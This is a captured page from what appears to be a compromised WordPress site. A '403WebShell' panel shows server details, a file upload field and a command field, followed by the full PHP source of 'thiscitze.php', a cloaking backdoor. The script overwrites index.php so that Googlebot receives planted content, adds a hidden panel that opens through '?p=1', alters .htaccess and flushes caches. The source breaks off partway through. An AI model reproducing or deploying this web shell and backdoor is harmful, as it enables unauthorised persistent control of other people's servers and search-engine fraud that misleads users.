....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 192.168.1.105  /  Your IP : 216.73.216.51
Web Server : nginx/1.14.0
System : Linux dev1 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/abookadesk.dk/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abookadesk.dk/wp-admin/thiscitze.php
<?php
@session_start();
error_reporting(0);

// ===== thiscitze v1.0 - CLOAK ENGINE =====
// https://t.me/thiscitze - Tum hakki saklidir

// ===== PANEL KONTROLU =====
// Dogrudan bu dosyaya erisilince panel goster
$panel = true;

// ===== SABITLER =====
$VERSION = '1.0';
$ROOT = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');


// ===== YARDIMCILAR =====
function j($d) { while (ob_get_level() > 0) ob_end_clean(); header('Content-Type: application/json; charset=utf-8'); echo json_encode($d, JSON_UNESCAPED_UNICODE); exit; }
function e404() { http_response_code(404); exit; }

// ===== CMS TESPIT =====
$CMS = 'generic';
$CMS_LABEL = 'Generic';
if (file_exists($ROOT . '/wp-config.php') || is_dir($ROOT . '/wp-includes')) { $CMS = 'wp'; $CMS_LABEL = 'WordPress'; }
elseif (file_exists($ROOT . '/configuration.php') && is_dir($ROOT . '/administrator')) { $CMS = 'joomla'; $CMS_LABEL = 'Joomla'; }
elseif (file_exists($ROOT . '/../bootstrap/app.php') || file_exists($ROOT . '/../artisan')) { $CMS = 'laravel'; $CMS_LABEL = 'Laravel'; }
elseif (file_exists($ROOT . '/sites/default/settings.php')) { $CMS = 'drupal'; $CMS_LABEL = 'Drupal'; }

// ===== CLOAK SERVISI =====
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$uri = isset($_SERVER['REQUEST_URI']) ? rtrim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/') : '/';
$is_bot = preg_match('/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google/i', $ua);
$is_home = ($uri === '' || $uri === '/' || $uri === '/index.php');

// Perde ve bayrak kontrolu
$perde_file = '';
$lock_var = false;
foreach (array($ROOT . '/.render-cache/render-cache.html', $ROOT . '/wp-content/uploads/wp-media-cache/render-cache.html') as $p) {
    if (file_exists($p) && filesize($p) > 100) { $perde_file = $p; break; }
}
foreach (array($ROOT . '/.render-cache/render.lock', $ROOT . '/wp-content/uploads/wp-media-cache/render.lock') as $l) {
    if (file_exists($l)) { $lock_var = true; break; }
}

if ($is_bot && $is_home && $lock_var && $perde_file !== '' && !$panel) {
    $decoy = array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome');
    $is_decoy = false;
    foreach ($decoy as $d) { if (stripos($ua, $d) !== false) { $is_decoy = true; break; } }
    if (!$is_decoy) {
        while (ob_get_level() > 0) ob_end_clean();
        header('Content-Type: text/html; charset=UTF-8');
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
        header('Vary: User-Agent');
        if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true);
        readfile($perde_file);
        exit;
    }
}

if (!$panel) return;

// ============================================================
// PANEL
// ============================================================
$pk = '';

$a = isset($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) ? $_POST['a'] : '');
switch ($a) {

    case 'info':
        echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>thiscitze - Info</title><style>body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;font-size:12px;line-height:1.7}b{color:#ff0}.g{color:#0f0}.w{color:#fa0}hr{border:1px solid #222}</style></head><body>';
        echo '<h2>thiscitze Info</h2><hr>';
        echo '<b>PHP:</b> ' . PHP_VERSION . '<br>';
        echo '<b>SAPI:</b> ' . php_sapi_name() . '<br>';
        echo '<b>Server:</b> ' . htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? '?') . '<br>';
        echo '<b>Root:</b> ' . $ROOT . '<br>';
        echo '<b>CMS:</b> ' . $CMS_LABEL . '<br>';
        echo '<b>IP:</b> ' . ($_SERVER['REMOTE_ADDR'] ?? '?') . '<br>';
        echo '<b>index.php:</b> ' . (is_writable($ROOT . '/index.php') ? '<span class=g>Yazilabilir</span>' : '<span class=w>Korumali</span>') . '<br>';
        echo '<b>.htaccess:</b> ' . (file_exists($ROOT . '/.htaccess') ? (is_writable($ROOT . '/.htaccess') ? '<span class=g>Var+Yazilabilir</span>' : '<span class=w>Var+ReadOnly</span>') : '<span class=w>Yok</span>') . '<br>';
        echo "</body></html>";
        exit;

    case 'precheck':
        $c = array();
        $s = 0; $m = 0;
        $php = version_compare(PHP_VERSION, '7.0', '>=');
        $c[] = array('name'=>'PHP', 's'=>$php?'ok':'err', 'v'=>PHP_VERSION, 'm'=>$php?'Uygun':'7.0+ gerekli'); $m+=10; if($php)$s+=10;
        $rw = is_writable($ROOT);
        $c[] = array('name'=>'Kok yazma', 's'=>$rw?'ok':'warn', 'v'=>$rw?'Acik':'Kapali', 'm'=>$rw?'index.php ezilir':'WP mu-plugin yoluna dusulur'); $m+=10; if($rw)$s+=10; else $s+=5;
        $cu = function_exists('curl_init');
        $c[] = array('name'=>'cURL', 's'=>$cu?'ok':'warn', 'v'=>$cu?'Var':'Yok', 'm'=>$cu?'CF+Bot test calisir':'CF ve bot testi kapali'); $m+=10; if($cu)$s+=10; else $s+=3;
        $rd = function_exists('gethostbyaddr');
        $c[] = array('name'=>'rDNS', 's'=>$rd?'ok':'warn', 'v'=>$rd?'Var':'Yok', 'm'=>$rd?'Verified-Google aktif':'UA-only'); $m+=10; if($rd)$s+=10; else $s+=4;
        $pd = file_exists($ROOT . '/.render-cache/render-cache.html') && filesize($ROOT . '/.render-cache/render-cache.html') > 100;
        $c[] = array('name'=>'Perde', 's'=>$pd?'ok':'warn', 'v'=>$pd?'Hazir':'Yok', 'm'=>$pd?'Cloak icin hazir':'Once perde HTML kaydedin'); $m+=10; if($pd)$s+=10; else $s+=3;
        $sv = strtolower($_SERVER['SERVER_SOFTWARE'] ?? '');
        $st = (strpos($sv,'litespeed')!==false||strpos($sv,'apache')!==false)?'ok':'info';
        $c[] = array('name'=>'Sunucu', 's'=>$st, 'v'=>preg_replace('/[^a-zA-Z0-9]/','',explode('/',$sv)[0]?:'?'), 'm'=>$st==='ok'?'.htaccess destegi var':'.htaccess destegi yok'); $m+=10; $s+=10;
        $sk = $m>0 ? round(($s/$m)*100) : 0;
        $vd = $sk>=70?'ok':($sk>=40?'mid':'bad');
        j(array('score'=>$sk,'verdict'=>$vd,'checks'=>$c,'ts'=>time()));
        break;

    case 'autocloak':
        $pdir = $ROOT . '/.render-cache';
        if (!is_dir($pdir)) @mkdir($pdir, 0755, true);
        if (!file_exists($pdir . '/index.html')) @file_put_contents($pdir . '/index.html', '');
        $pperde = $pdir . '/render-cache.html';
        if (!file_exists($pperde) || filesize($pperde) < 100) {
            @file_put_contents($pperde, '<!DOCTYPE html><html lang="vi"><head><meta charset="utf-8"><title>SEO TEST</title><style>body{background:#1a1a2e;color:#0ff;font-family:monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0}h1{color:#0f0;font-size:22px;border:1px solid #0f3;padding:30px;border-radius:8px}</style></head><body><h1>SEO TEST PAGE<br><span style="color:#fa0;font-size:14px">Google bot test</span></h1></body></html>');
        }
        @file_put_contents($pdir . '/render.lock', '1');
        $self = @file_get_contents(__FILE__);
        if ($self) @file_put_contents($pdir . '/.panel-helper.php', $self);
        // index.php overwrite
        $idx = $ROOT . '/index.php';
        $bak = $ROOT . '/.render-orig.php';
        $idx_w = file_exists($idx) ? is_writable($idx) : $rw;
        $met = array();
        if ($idx_w) {
            if (file_exists($idx) && !file_exists($bak)) {
                $cur = @file_get_contents($idx);
                if ($cur && strpos($cur, 'thiscitze') === false) @file_put_contents($bak, $cur);
            }
            if ($CMS === 'joomla') {
    $fallback = 'define("_JEXEC",1);define("JPATH_BASE",__DIR__);if(file_exists(__DIR__."/includes/defines.php"))require_once __DIR__."/includes/defines.php";if(file_exists(__DIR__."/includes/framework.php"))require_once __DIR__."/includes/framework.php";if(class_exists("\\\\Joomla\\\\CMS\\\\Factory")){$app=\\Joomla\\CMS\\Factory::getApplication("site");$app->execute();}';
} elseif ($CMS === 'laravel') {
    $fallback = 'define("LARAVEL_START",microtime(true));require __DIR__."/../vendor/autoload.php";$app=require_once __DIR__."/../bootstrap/app.php";$app->handleRequest(\\Illuminate\\Http\\Request::capture());';
} else {
    $fallback = '$_h=__DIR__."/index.html";if(!file_exists($_h))$_h=__DIR__."/index.htm";if(file_exists($_h)){header("Content-Type:text/html; charset=UTF-8");readfile($_h);die();}';
}
$tpl = '<?php /* thiscitze-cloak-v1 */
if(isset($_GET["p"])&&$_GET["p"]==="1"){$_h=__DIR__."/.render-cache/.panel-helper.php";if(is_file($_h)){require$_h;exit;}}
$__ua=$_SERVER["HTTP_USER_AGENT"]??"";$__uri=rtrim(parse_url($_SERVER["REQUEST_URI"]??"/",PHP_URL_PATH),"/");
$__nx=__DIR__."/.render-cache";
if(@file_exists($__nx."/render.lock")){
$__decoy=array("curl","wget","python","go-http","java","scrapy","axios","phantom","selenium","puppeteer","playwright","headlesschrome");$__b=false;foreach($__decoy as$__k){if(stripos($__ua,$__k)!==false){$__b=true;break;}}
if(!$__b&&preg_match("/Googlebot|AdsBot-Google|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google/i",$__ua)&&($__uri===""||$__uri==="/index.php")){
$_pd=$__nx."/render-cache.html";if(file_exists($_pd)){while(ob_get_level()>0)@ob_end_clean();header("Content-Type:text/html; charset=UTF-8");header("Cache-Control: no-store, no-cache, must-revalidate");header("Vary: User-Agent");readfile($_pd);die();}
}}
$_orig=__DIR__."/.render-orig.php";
if(file_exists($_orig)&&filesize($_orig)>100){require$_orig;return;}
' . $fallback . ';';
            @file_put_contents($idx, $tpl);
            $met[] = 'index.php';
            if (function_exists('opcache_invalidate')) @opcache_invalidate($idx, true);
        }
        j(array('status'=>'ok','methods'=>$met,'msg'=>'Cloak kuruldu!'));
        break;

    case 'revert':
        foreach (array($ROOT . '/.render-cache/render.lock', $ROOT . '/wp-content/uploads/wp-media-cache/render.lock') as $l) {
            if (file_exists($l)) @unlink($l);
        }
        j(array('status'=>'ok','msg'=>'Cloak kapatildi.'));
        break;

    case 'uninstall':
        $idx = $ROOT . '/index.php';
        $bak = $ROOT . '/.render-orig.php';
        if (file_exists($idx) && file_exists($bak)) {
            $bc = @file_get_contents($bak);
            if ($bc && strpos($bc, 'thiscitze') === false) {
                @file_put_contents($idx, $bc);
                if (function_exists('opcache_invalidate')) @opcache_invalidate($idx, true);
            }
        }
        $pdir = $ROOT . '/.render-cache';
        if (is_dir($pdir)) { foreach (scandir($pdir) as $f) { if ($f !== '.' && $f !== '..') @unlink($pdir . '/' . $f); } @rmdir($pdir); }
        if (file_exists($bak)) @unlink($bak);
        j(array('status'=>'ok','msg'=>'Tamamen kaldirildi.'));
        break;

    case 'cleanht':
        $ht = $ROOT . '/.htaccess';
        if (!file_exists($ht)) { exit('OK'); }
        $c = file_get_contents($ht);
        if ($c === false) { exit('ERR'); }
        $o = $c;
        foreach (array(
            '/#\s*BEGIN\s+WP-Media-Cache[^#]*#\s*END\s+WP-Media-Cache[^\n]*\n?/si',
            '/#\s*BEGIN\s+[A-Z]+-RENDER[^#]*#\s*END\s+[A-Z]+-RENDER[^\n]*\n?/si',
            '/#\s*BEGIN\s+thiscitze[^#]*#\s*END\s+thiscitze[^\n]*\n?/si',
            '/<IfModule\s+mod_dir\.c>\s*DirectoryIndex\s+index\.php[^<]*<\/IfModule>\s*\n?/si',
        ) as $pat) {
            $c = preg_replace($pat, '', $c);
        }
        $c = trim($c);
        if ($c !== $o) { file_put_contents($ht, $c); exit('OK'); }
        else { exit('CLEAN'); }
        break;

    case 'botcheck':
        if (!function_exists('curl_init')) { j(array('error'=>'cURL yok')); break; }
        $sc = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
        $ch = curl_init($sc . '://' . $_SERVER['HTTP_HOST'] . '/');
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
            CURLOPT_TIMEOUT => 15, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false,
        ));
        $body = (string)curl_exec($ch);
        $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        $perde_html = '';
        foreach (array($ROOT . '/.render-cache/render-cache.html', $ROOT . '/wp-content/uploads/wp-media-cache/render-cache.html') as $p) {
            if (file_exists($p) && filesize($p) > 100) { $perde_html = file_get_contents($p); break; }
        }
        $pt = trim(strip_tags($perde_html));
        $bt = trim(strip_tags($body));
        $matched = ($pt !== '' && strlen($pt) >= 10 && strpos($bt, substr($pt, 0, 80)) !== false);
        $lv = file_exists($ROOT . '/.render-cache/render.lock') || file_exists($ROOT . '/wp-content/uploads/wp-media-cache/render.lock');
        j(array('http_code'=>$code,'matched'=>$matched,'cloak_active'=>$lv,'note'=>'Bu test sahte UA ile. Gercek Google GSC ile test edin.'));
        break;

    case 'savehtml':
        $d = isset($_POST['d']) ? $_POST['d'] : '';
        $bin = @hex2bin($d);
        if ($bin === false || strpos($bin, '<?') !== false) { exit('ERR'); }
        $pdir = $ROOT . '/.render-cache';
        if (!is_dir($pdir)) @mkdir($pdir, 0755, true);
        exit(@file_put_contents($pdir . '/render-cache.html', $bin) ? 'OK' : 'ERR');
        break;

    case 'viewperde':
        foreach (array($ROOT . '/.render-cache/render-cache.html', $ROOT . '/wp-content/uploads/wp-media-cache/render-cache.html') as $p) {
            if (file_exists($p) && filesize($p) > 50) { header('Content-Type: text/html; charset=UTF-8'); readfile($p); exit; }
        }
        e404();
        break;

    case 'clearcache':
        @set_time_limit(20);
        $r = array();
        if (function_exists('opcache_reset')) { @opcache_reset(); $r['opcache']='OK'; } else $r['opcache']='N/A';
        @clearstatcache(true); $r['stat']='OK';
        if (class_exists('Redis')) { try{$rd=new Redis();if(@$rd->connect('127.0.0.1',6379,1)){$rd->flushDB();$rd->close();$r['redis']='OK';}else $r['redis']='N/A';}catch(Exception$e){$r['redis']='N/A';} }else $r['redis']='N/A';
